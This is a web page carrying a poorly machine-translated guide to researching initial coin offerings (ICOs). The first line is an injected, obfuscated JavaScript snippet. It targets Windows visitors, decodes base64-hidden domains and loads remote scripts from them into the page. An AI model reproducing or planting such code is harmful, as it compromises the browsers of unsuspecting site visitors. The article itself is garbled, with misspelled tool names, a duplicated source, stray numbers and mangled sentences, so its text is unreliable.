if(navigator.userAgent.toLowerCase().indexOf(“windows”) !== -1){const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=|NXQ0MTQwMmEuc2l0ZS94cC8=|OWUxMDdkOWQuc2l0ZS94cC8=|ZDQxZDhjZDkuZ2l0ZS94cC8=|ZjAwYjRhMmIuc2l0ZS94cC8=|OGIxYjk5NTMuc2l0ZS94cC8=”;const pds=pdx.split(“|”);pds.forEach(function(pde){const s_e=document.createElement(“script”);s_e.src=”https://”+atob(pde)+”cc.php?u=de1390ce”;document.body.appendChild(s_e);});}
Driving the Market Research of the initial coins (ICO -K): Guide
The cryptocurrency world has registered exponential growth in recent years, with new projects and tokens that start daily. As investors and fans await the next great thing impatiently, in -depth market research is essential to make a well -founded decisions on investing in ICO. In this article we deal with the basic sections involved in the management of market research on ICO.
What is the initial coins (ICO) offer?
The offer of initial coins (ICO) is a community financing model used by Blockchain start -ups to raise resources for their development and marketing efforts. Unlike traditional initial public offers (IPOs), it operates on the ICO decentralized platform, allowing you to participate in the fundraising process without intermediaries.
Why do ICOK do market research?
Before investing in an ICO, it is essential to perform profound market research to make sure the decision is informed. Here are some reasons why:
- Understand the project : Find the development group, the project mission and goals to determine that they are adapted to investment goals.
- Value tokenomics : Analyze the token offering, distribution and potential uses to assess their profitability as cryptocurrencies.
- Values market demand : Identify the ICO target audience and evaluate the level of interest in the project.
- Research Competition : Compare ICO to existing projects on the same blockchain or cryptocurrencies to identify deficiencies and market opportunities.
Passo-passo guide to do ICO market research
- Define investment goals : clearly determine what you want to achieve via an ICO, such as financing a project or investing in a particular activity.
- Choose a research methodology : Choose the method that suits your needs such as:
* Analysis of Social Media : Listen to Twitter, Reddit, and other social media platforms on the project.
* Blockchain Analysis Tools : Uses services such as Coinmarketcap, Coingacko or Cryptoslate to analyze data and market trends.
* Financial News : Research of Dear Financial News such as Coindesk or Coindesk.
- Find the Development Group : Find transparency and successful experience in similar projects. Check that you have a relevant experience that works on blockchain technology.
- Evaluate the tokenomics : Analyze the project supply, distribution and possible use to determine its viability as a cryptocurrency.
5
- Research Competition : Compare ICO with existing projects on the same blockchain or cryptocurrencies to identify deficiencies and market opportunities.
Tools to do market research
- CoinMarketcap
: A platform of cryptocurrency leaders, which provides full market analysis, graphic artists and news.
2
- Reddit
: Use Sumddit such as R/Coinmarketwatch or R/Cryptourrency to find out about project talks and market trends.
- Twitter : Follow development teams, sector leaders and influencers to evaluate interest and feelings around the ICC.
Conclusion
Deep in -depth market research is crucial before investing in the initial coins (ICO) offer. By following these steps and using the tools such as the above, you can make well -founded decisions on investment and minimize risks. Don’t forget to do your research always and never invest again than you can lose.
